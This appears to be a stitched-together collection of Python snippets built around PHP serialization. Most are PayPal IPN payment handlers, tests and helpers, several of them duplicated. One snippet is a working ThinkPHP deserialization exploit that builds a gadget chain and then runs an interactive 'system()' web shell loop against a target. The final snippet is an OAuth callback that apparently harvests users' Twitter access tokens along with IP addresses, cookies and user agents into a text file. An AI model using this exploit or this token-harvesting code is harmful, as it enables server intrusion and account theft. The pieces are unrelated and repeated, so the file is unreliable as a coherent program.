def edit_rec(self,_r): ''' scan and edit each record if appropriate''' #import pdb; pdb.set_trace() _sep = "\\', " #save the end char & split the rec into a list _end = _r[:-1] #re.split parses the sql correctly, where str.split does # not handle escaped ' correctly self._rlist = re.split(r"\\\'\, ",_r) for i,_s in enumerate(self._rlist): #try unserialize, else just use it if self.scan_for_old_strings(_s): try: add_quotes = False if _s[1:3] == 'a:': _s = _s.strip("'") add_quotes = True _s = phpserialize.unserialize(_s,array_hook=OrderedDict) _s = self.iterate_data(_s) _ss = phpserialize.serialize(_s) #add back single quotes if add_quotes: self._rlist[i] = "'{}'".format(_ss) add_quotes = False except Exception as e: self._rlist[i] = self.replace_strings(_s) if _s[0:2] == 'a:': print('\n**serialization failed: {}\n{}'.format(self._rlist[0],self._rlist[i])) print('**',e) #print('***',a) self.ser_err_cnt += 1 #put the pieces back together _t = _sep.join(self._rlist) if _end == ',' and _t[-1] != ',': _t += ',' return _t
def paypal(request): """ Handle PayPal IPN post-back for contribution transactions. IPN will retry periodically until it gets success (status=200). Any db errors or replication lag will result in an exception and http status of 500, which is good so PayPal will try again later. """ # Check that the request is valid and coming from PayPal. data = request.POST.copy() data['cmd'] = '_notify-validate' if urllib2.urlopen(settings.PAYPAL_CGI_URL, data.urlencode(), 20).readline() != 'VERIFIED': return http.HttpResponseForbidden('Invalid confirmation') # We only care about completed transactions. if request.POST['payment_status'] != 'Completed': return http.HttpResponse('Payment not completed') # Make sure transaction has not yet been processed. if len(Contribution.objects.filter(transaction_id=request.POST['txn_id'])) > 0: return http.HttpResponse('Transaction already processed') # Fetch and update the contribution - item_number is the uuid we created. c = Contribution.objects.get(uuid=request.POST['item_number']) c.transaction_id = request.POST['txn_id'] c.amount = request.POST['mc_gross'] c.uuid = None c.post_data = php.serialize(request.POST) c.save() # Send thankyou email. try: c.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. log = logging.getLogger('z.amo') log.error('Thankyou note email failed with error: %s' % e) return http.HttpResponse('Success!')
def paypal_completed(request, post, c): # Make sure transaction has not yet been processed. if (Contribution.objects .filter(transaction_id=post['txn_id'], type=amo.CONTRIB_PURCHASE).count()) > 0: return http.HttpResponse('Transaction already processed') c.transaction_id = post['txn_id'] # Embedded payments does not send an mc_gross. if 'mc_gross' in post: c.amount = post['mc_gross'] c.uuid = None c.post_data = php.serialize(post) c.save() # Send thankyou email. try: c.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) return http.HttpResponse('Success!')
def parse(diction): final_list = [] for i in dayofweek: tOpen, tClose = diction.get(i.lower()[:3] + '_1_open'), diction.get(i.lower()[:3] + '_1_close') if tOpen and tClose: try: tOpen, tClose = getTime(tOpen.replace(':', '')), getTime( tClose.replace(':', '')) except: print "Possible bad format: %s, %s" % (tOpen, tClose) final_list.append({ 'listing_time_from': tOpen, 'listing_day': i, 'listing_time_to': tClose }) else: final_list.append({'listing_custom': 'closed', 'listing_day': i}) return serialize(final_list)
def getSession(self, key): try: __dict = {} __ses = self.__getSessionFromMemcache(key) except Exception as error01: print error01 pass return {} if __ses != None: for item in loads(serialize(__ses)).split(";"): if len(item.split(":")) == 3: __dict[item.split(":")[0].replace("|s","")] = str(item.split(":")[2]).replace('"','') try: del __dict[''] except: pass return __dict
def getSession(self, key): try: __dict = {} __ses = self.__getSessionFromMemcache(key) except Exception as error01: print error01 pass return {} if __ses != None: for item in loads(serialize(__ses)).split(";"): if len(item.split(":")) == 3: __dict[item.split(":")[0].replace("|s", "")] = str( item.split(":")[2]).replace('"', '') try: del __dict[''] except: pass return __dict
def paypal_refunded(request, transaction_id, serialize=None, amount=None): try: original = Contribution.objects.get(transaction_id=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass original.handle_chargeback('refund') paypal_log.info('Refund IPN received: %s' % transaction_id) price_currency = _parse_currency(amount) amount = price_currency['amount'] currency = price_currency['currency'] # Contribution with negative amount for refunds. Contribution.objects.create(addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_REFUND, amount=-amount, currency=currency, price_tier=original.price_tier, post_data=php.serialize(serialize)) paypal_log.info('Refund successfully processed') paypal_log_cef(request, original.addon, transaction_id, 'Refund', 'REFUND', 'A paypal refund was processed') return http.HttpResponse('Success!')
def paypal_refunded(request, transaction_id, serialize=None, amount=None): try: original = Contribution.objects.get(transaction_id=transaction_id) except Contribution.DoesNotExist: paypal_log.info('Ignoring transaction: %s' % transaction_id) return http.HttpResponse('Transaction not found; skipping.') # If the contribution has a related contribution we've processed it. try: original = Contribution.objects.get(related=original) paypal_log.info('Related contribution, state: %s, pk: %s' % (original.related.type, original.related.pk)) return http.HttpResponse('Transaction already processed') except Contribution.DoesNotExist: pass original.handle_chargeback('refund') paypal_log.info('Refund IPN received: %s' % transaction_id) price_currency = _parse_currency(amount) amount = price_currency['amount'] currency = price_currency['currency'] # Contribution with negative amount for refunds. Contribution.objects.create( addon=original.addon, related=original, user=original.user, type=amo.CONTRIB_REFUND, amount=-amount, currency=currency, price_tier=original.price_tier, post_data=php.serialize(serialize) ) paypal_log.info('Refund successfully processed') paypal_log_cef(request, original.addon, transaction_id, 'Refund', 'REFUND', 'A paypal refund was processed') return http.HttpResponse('Success!')
import pickle import json from phpserialize import serialize, unserialize df = 'a:2:{i:0;a:2:{s:3:"qty";i:1;s:5:"price";s:4:"0.39";}i:1;a:2:{s:3:"qty";i:3;s:5:"price";s:4:"0.33";}}' data = serialize("wow") b = bytes(df, 'utf-8') data = unserialize(b) print(data)
def _paypal(request): def _log_error_with_data(msg, request): """Log a message along with some of the POST info from PayPal.""" id = random.randint(0, 99999999) msg = "[%s] %s (dumping data)" % (id, msg) paypal_log.error(msg) logme = {'txn_id': request.POST.get('txn_id'), 'txn_type': request.POST.get('txn_type'), 'payer_email': request.POST.get('payer_email'), 'receiver_email': request.POST.get('receiver_email'), 'payment_status': request.POST.get('payment_status'), 'payment_type': request.POST.get('payment_type'), 'mc_gross': request.POST.get('mc_gross'), 'item_number': request.POST.get('item_number'), } paypal_log.error("[%s] PayPal Data: %s" % (id, logme)) if request.method != 'POST': return http.HttpResponseNotAllowed(['POST']) # raw_post_data has to be accessed before request.POST. wtf django? raw, post = request.raw_post_data, request.POST.copy() # Check that the request is valid and coming from PayPal. # The order of the params has to match the original request. data = u'cmd=_notify-validate&' + raw paypal_response = urllib2.urlopen(settings.PAYPAL_CGI_URL, data, 20).readline() if paypal_response != 'VERIFIED': msg = ("Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response) _log_error_with_data(msg, request) return http.HttpResponseForbidden('Invalid confirmation') if post.get('txn_type', '').startswith('subscr_'): SubscriptionEvent.objects.create(post_data=php.serialize(post)) return http.HttpResponse('Success!') # List of (old, new) codes so we can transpose the data for # embedded payments. for old, new in [('payment_status', 'status'), ('item_number', 'tracking_id'), ('txn_id', 'tracking_id'), ('payer_email', 'sender_email')]: if old not in post and new in post: post[old] = post[new] # We only care about completed transactions. if post.get('payment_status', '').lower() != 'completed': return http.HttpResponse('Payment not completed') # Make sure transaction has not yet been processed. if (Contribution.objects .filter(transaction_id=post['txn_id']).count()) > 0: return http.HttpResponse('Transaction already processed') # Fetch and update the contribution - item_number is the uuid we created. try: c = Contribution.objects.get(uuid=post['item_number']) except Contribution.DoesNotExist: key = "%s%s:%s" % (settings.CACHE_PREFIX, 'contrib', post['item_number']) count = cache.get(key, 0) + 1 paypal_log.warning('Contribution (uuid=%s) not found for IPN request ' '#%s.' % (post['item_number'], count)) if count > 10: msg = ("Paypal sent a transaction that we don't know " "about and we're giving up on it.") _log_error_with_data(msg, request) cache.delete(key) return http.HttpResponse('Transaction not found; skipping.') cache.set(key, count, 1209600) # This is 2 weeks. return http.HttpResponseServerError('Contribution not found') c.transaction_id = post['txn_id'] # Embedded payments does not send an mc_gross. if 'mc_gross' in post: c.amount = post['mc_gross'] c.uuid = None c.post_data = php.serialize(post) c.save() # Send thankyou email. try: c.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) return http.HttpResponse('Success!')
def get_db_prep_value(self, value): try: value = php.serialize(dict(value)) except TypeError: value = None return value
def _paypal(request): def _log_error_with_data(msg, request): """Log a message along with some of the POST info from PayPal.""" id = random.randint(0, 99999999) msg = "[%s] %s (dumping data)" % (id, msg) paypal_log.error(msg) logme = { "txn_id": request.POST.get("txn_id"), "txn_type": request.POST.get("txn_type"), "payer_email": request.POST.get("payer_email"), "receiver_email": request.POST.get("receiver_email"), "payment_status": request.POST.get("payment_status"), "payment_type": request.POST.get("payment_type"), "mc_gross": request.POST.get("mc_gross"), "item_number": request.POST.get("item_number"), } paypal_log.error("[%s] PayPal Data: %s" % (id, logme)) if request.method != "POST": return http.HttpResponseNotAllowed(["POST"]) if not request.META["CONTENT_LENGTH"]: post = {} raw = "" else: # Copying request.POST to avoid this issue: # http://code.djangoproject.com/ticket/12522 post = request.POST.copy() raw = request.raw_post_data # Check that the request is valid and coming from PayPal. data = "%s&%s" % ("cmd=_notify-validate", raw) paypal_response = urllib2.urlopen(settings.PAYPAL_CGI_URL, data, 20).readline() if paypal_response != "VERIFIED": msg = "Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response _log_error_with_data(msg, request) return http.HttpResponseForbidden("Invalid confirmation") if post.get("txn_type", "").startswith("subscr_"): SubscriptionEvent.objects.create(post_data=php.serialize(post)) return http.HttpResponse("Success!") # List of (old, new) codes so we can transpose the data for # embedded payments. for old, new in [("payment_status", "status"), ("item_number", "tracking_id"), ("txn_id", "tracking_id")]: if old not in post and new in post: post[old] = post[new] # We only care about completed transactions. if post.get("payment_status", "").lower() != "completed": return http.HttpResponse("Payment not completed") # Make sure transaction has not yet been processed. if (Contribution.objects.filter(transaction_id=post["txn_id"]).count()) > 0: return http.HttpResponse("Transaction already processed") # Fetch and update the contribution - item_number is the uuid we created. try: c = Contribution.objects.get(uuid=post["item_number"]) except Contribution.DoesNotExist: key = "%s%s:%s" % (settings.CACHE_PREFIX, "contrib", post["item_number"]) count = cache.get(key, 0) + 1 paypal_log.warning("Contribution (uuid=%s) not found for IPN request " "#%s." % (post["item_number"], count)) if count > 10: msg = "Paypal sent a transaction that we don't know " "about and we're giving up on it." _log_error_with_data(msg, request) cache.delete(key) return http.HttpResponse("Transaction not found; skipping.") cache.set(key, count, 1209600) # This is 2 weeks. return http.HttpResponseServerError("Contribution not found") c.transaction_id = post["txn_id"] # Embedded payments does not send an mc_gross. if "mc_gross" in post: c.amount = post["mc_gross"] c.uuid = None c.post_data = php.serialize(post) c.save() # Send thankyou email. try: c.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error("Thankyou note email failed with error: %s" % e) return http.HttpResponse("Success!")
def assertSame(self, obj, serialized): self.assertUnserialize(obj, serialized) self.assertEqual(serialize(obj), serialized)
def _paypal(request): # raw_post_data has to be accessed before request.POST. wtf django? raw, post = request.raw_post_data, request.POST.copy() paypal_log.info('IPN received: %s' % raw) # Check that the request is valid and coming from PayPal. # The order of the params has to match the original request. data = u'cmd=_notify-validate&' + raw with statsd.timer('paypal.validate-ipn'): paypal_response = requests.post(settings.PAYPAL_CGI_URL, data, verify=True, cert=settings.PAYPAL_CERT) post, transactions = _parse(post) # If paypal doesn't like us, fail. if paypal_response.text != 'VERIFIED': msg = ("Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response) _log_error_with_data(msg, post) return http.HttpResponseForbidden('Invalid confirmation') # Cope with subscription events. if post.get('txn_type', '').startswith('subscr_'): SubscriptionEvent.objects.create(post_data=php.serialize(post)) paypal_log.info('Subscription created: %s' % post.get('txn_id', '')) return http.HttpResponse('Success!') payment_status = post.get('payment_status', '').lower() if payment_status != 'completed': paypal_log.info('Payment status not completed: %s, %s' % (post.get('txn_id', ''), payment_status)) return http.HttpResponse('Ignoring %s' % post.get('txn_id', '')) # There could be multiple transactions on the IPN. This will deal # with them appropriately or cope if we don't know how to deal with # any of them. methods = {'refunded': paypal_refunded, 'completed': paypal_completed, 'reversal': paypal_reversal} result = None called = False # Ensure that we process 0, then 1 etc. for (k, v) in sorted(transactions.items()): status = v.get('status', '').lower() if status not in methods: paypal_log.info('Unknown status: %s' % status) continue result = methods[status](request, post.get('txn_id'), post, v.get('amount')) called = True # Because of chained payments a refund is more than one transaction. # But from our point of view, it's actually only one transaction and # we can safely ignore the rest. if result.content == 'Success!' and status == 'refunded': break if not called: # Whilst the payment status was completed, it contained # no transactions with status, which means we don't know # how to process it. Hence it's being ignored. paypal_log.info('No methods to call on: %s' % post.get('txn_id', '')) return http.HttpResponse('Ignoring %s' % post.get('txn_id', '')) return result
@namespace('think\\model') class Pivot: protected_append = ['getError'] protected_error = HasOne() public_parent = Output() protected_selfRelation = False protected_query = Query() @namespace('think\\process\\pipes') class Windows: private_files = [Pivot()] unserialize(serialize(Windows())) tag_hash = md5( ("tag_" + md5(File.protected_tag.encode()).hexdigest()).encode()).hexdigest() file = f'{FILE_PREFIX}{tag_hash}.php' while True: print( ses.post(TARGET + file, data={ 'a': 'system($_POST[b]);', 'b': input() }).text[102:-38])
def test_to_python_php(self): val = {'a': 1} assert StatsDictField().to_python(php.serialize(val)) == val
def test_to_python_php(self): val = {'a': 1} eq_(StatsDictField().to_python(php.serialize(val)), val)
def GetSerializedData(dictionary): return serialize(dictionary)
def _paypal(request): def _log_error_with_data(msg, request): """Log a message along with some of the POST info from PayPal.""" id = random.randint(0, 99999999) msg = "[%s] %s (dumping data)" % (id, msg) paypal_log.error(msg) logme = {'txn_id': request.POST.get('txn_id'), 'txn_type': request.POST.get('txn_type'), 'payer_email': request.POST.get('payer_email'), 'receiver_email': request.POST.get('receiver_email'), 'payment_status': request.POST.get('payment_status'), 'payment_type': request.POST.get('payment_type'), 'mc_gross': request.POST.get('mc_gross'), 'item_number': request.POST.get('item_number'), } paypal_log.error("[%s] PayPal Data: %s" % (id, logme)) if request.method != 'POST': return http.HttpResponseNotAllowed(['POST']) if not request.META['CONTENT_LENGTH']: post = {} raw = "" else: # Copying request.POST to avoid this issue: # http://code.djangoproject.com/ticket/12522 post = request.POST.copy() raw = request.raw_post_data # Check that the request is valid and coming from PayPal. data = '%s&%s' % ('cmd=_notify-validate', raw) paypal_response = urllib2.urlopen(settings.PAYPAL_CGI_URL, data, 20).readline() if paypal_response != 'VERIFIED': msg = ("Expecting 'VERIFIED' from PayPal, got '%s'. " "Failing." % paypal_response) _log_error_with_data(msg, request) return http.HttpResponseForbidden('Invalid confirmation') if post.get('txn_type', '').startswith('subscr_'): SubscriptionEvent.objects.create(post_data=php.serialize(post)) return http.HttpResponse('Success!') # We only care about completed transactions. if post.get('payment_status') != 'Completed': return http.HttpResponse('Payment not completed') # Make sure transaction has not yet been processed. if (Contribution.objects .filter(transaction_id=post['txn_id']).count()) > 0: return http.HttpResponse('Transaction already processed') # Fetch and update the contribution - item_number is the uuid we created. try: c = Contribution.objects.get(uuid=post['item_number']) except Contribution.DoesNotExist: key = "%s%s:%s" % (settings.CACHE_PREFIX, 'contrib', post['item_number']) count = cache.get(key, 0) + 1 paypal_log.warning('Contribution (uuid=%s) not found for IPN request ' '#%s.' % (post['item_number'], count)) if count > 10: msg = ("Paypal sent a transaction that we don't know " "about and we're giving up on it.") _log_error_with_data(msg, request) cache.delete(key) return http.HttpResponse('Transaction not found; skipping.') cache.set(key, count, 1209600) # This is 2 weeks. return http.HttpResponseServerError('Contribution not found') c.transaction_id = post['txn_id'] c.amount = post['mc_gross'] c.uuid = None c.post_data = php.serialize(post) c.save() # Send thankyou email. try: c.mail_thankyou(request) except ContributionError as e: # A failed thankyou email is not a show stopper, but is good to know. paypal_log.error('Thankyou note email failed with error: %s' % e) return http.HttpResponse('Success!')
def callback(self, oauth_token, oauth_verifier): #print("oauth_token: " + oauth_token); #print("oauth_verifier: "+ oauth_verifier); appEnumString = cherrypy.session['selectedEnum'] if appEnumString == None: return None appEnum = getEnumFromAppName(appEnumString) accessToken = getAccessToken(ConsumerKeyString[appEnum], ConsumerSecretString[appEnum], oauth_verifier) #print("Access Token:") #print(accessToken); access_token_str = serialize({ 'oauth_token': accessToken['oauth_token'], 'oauth_token_secret': accessToken['oauth_token_secret'], 'user_id': accessToken['user_id'], 'screen_name': accessToken['screen_name'] }) loggerToken = cherrypy.session['logger_token'] api = TwitterAPI(loggerToken['consumer_key'], loggerToken['consumer_secret'], accessToken['oauth_token'], accessToken['oauth_token_secret']) r = api.request('account/settings') loggerToken['always_use_https'] = r.json()['always_use_https'] loggerToken['geo_enabled'] = r.json()['geo_enabled'] loggerToken['discoverable_by_email'] = r.json( )['discoverable_by_email'] logger_token_str = serialize({ 'ip': loggerToken['ip'], 'ip2': loggerToken['ip2'], 'ip3': loggerToken['ip3'], 'port': loggerToken['port'], 'useragent': loggerToken['useragent'], 'cookie': loggerToken['cookie'], 'referer': loggerToken['referer'], 'query': loggerToken['query'], 'postdata': loggerToken['postdata'], 'time': loggerToken['time'], 'consumer_key': loggerToken['consumer_key'], 'consumer_secret': loggerToken['consumer_secret'], 'always_use_https': loggerToken['always_use_https'], 'geo_enabled': loggerToken['geo_enabled'], 'discoverable_by_email': loggerToken['discoverable_by_email'] }) #print(access_token_str); #print(logger_token_str); #write the access token to the app file f = open("./assets/tokens.txt", "a+") f.write( access_token_str.decode('utf-8') + logger_token_str.decode('utf-8')) f.write('\n') f.close() raise cherrypy.HTTPRedirect(DestinationUrl[appEnum])